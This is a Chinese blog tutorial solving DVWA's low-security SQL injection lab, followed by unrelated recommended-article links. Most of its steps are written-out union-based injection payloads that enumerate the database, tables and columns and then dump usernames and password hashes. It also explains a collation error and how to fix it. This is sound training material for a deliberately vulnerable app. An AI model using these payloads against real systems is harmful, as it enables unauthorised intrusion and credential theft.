[网络安全]DVWA之SQL注入—low level解题详析

免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
DVWA请读者自行安装,本文不再赘述。

判断漏洞类型

  • 判断是否为数字型注入

若为数字型注入,则第二个语句应回显Error或没有回显。

  • 判断是否为字符型注入

第二个语句没有回显,所以该漏洞类型为字符型注入漏洞。

判断注入点个数

输入1' order by 4#时,回显Unknown column '4' in 'order clause'

说明猜测的注入点个数过大

输入1' order by 2#时,回显如下:
说明注入点个数为2或3

输入1' order by 3#时,回显Unknown column '3' in 'order clause'

所以注入点个数为两个

爆库名

输入1' union select 1,database()#

回显一个数据库名

图片中第一段为第一个注入点的信息,第二段为第二个注入点(即database)的信息。

爆当前用户名

输入1' union select 1,user()#

由于注入点有两个,所以我们可以通过一个sql语句既查询数据库名又查询当前用户名

输入1' union select user(),database()#

注意,如果使用1' union select user()#的话,会回显The used SELECT statements have a different number of columns(所使用的 SELECT 语句具有不同数量的列),因为该语句的注入点只有一个。

爆表名

输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显guestbook和users两个表名
也可采用如下语句
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
其中,group_concat的作用是将多个值连接成一个字符串,并用逗号连接。

爆列名

输入1' union select 1, column_name from information_schema.columns where table_name='users'#
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
相比之下,在查询结果过多的情况下,建议使用group_concat将查询结果集合起来

爆字段

输入1' union select user,password from users#

报错分析及解决方法

若SQL联合注入过程中出现该报错:illegal mix of collations for operation UNION
原因如下:information_schema里的table的排序规则是utf8_general_ci,而user表中字段默认为utf8_unicode_ci,导致字符排序不匹配。
解决方法:

  1. 在phpstudy中打开phpMyAdmin
  1. 进入dvwa数据库中的user表,将各列排序规则修改为utf8_gengeral_ci,保存即可。
相关推荐
陈皮糖..30 分钟前
27 届运维实习笔记|第三、四周:从流程熟练到故障排查,企业运维实战深化
运维·笔记·sql·nginx·ci/cd·云计算·jenkins
weixin_520649871 小时前
数据库函数
数据库
Bert.Cai1 小时前
MySQL LPAD()函数详解
数据库·mysql
OnlyEasyCode3 小时前
Navicat 任务自动备份指定数据库
数据库
if else3 小时前
Redis 哨兵集群部署方案
数据库·redis
yejqvow123 小时前
Pandas 高效实现组内跨行时间戳匹配与布尔标记
jvm·数据库·python
了不起的云计算V3 小时前
从DeepSeek V4适配看国产算力的三个拐点
数据库·人工智能
qq_189807033 小时前
html标签如何提升可访问性_aria-label与title区别【指南】
jvm·数据库·python
norq juox3 小时前
MySQL 导出数据
数据库·mysql·adb
qq_349317484 小时前
mysql如何设置定时自动备份脚本_编写shell脚本与cron任务
jvm·数据库·python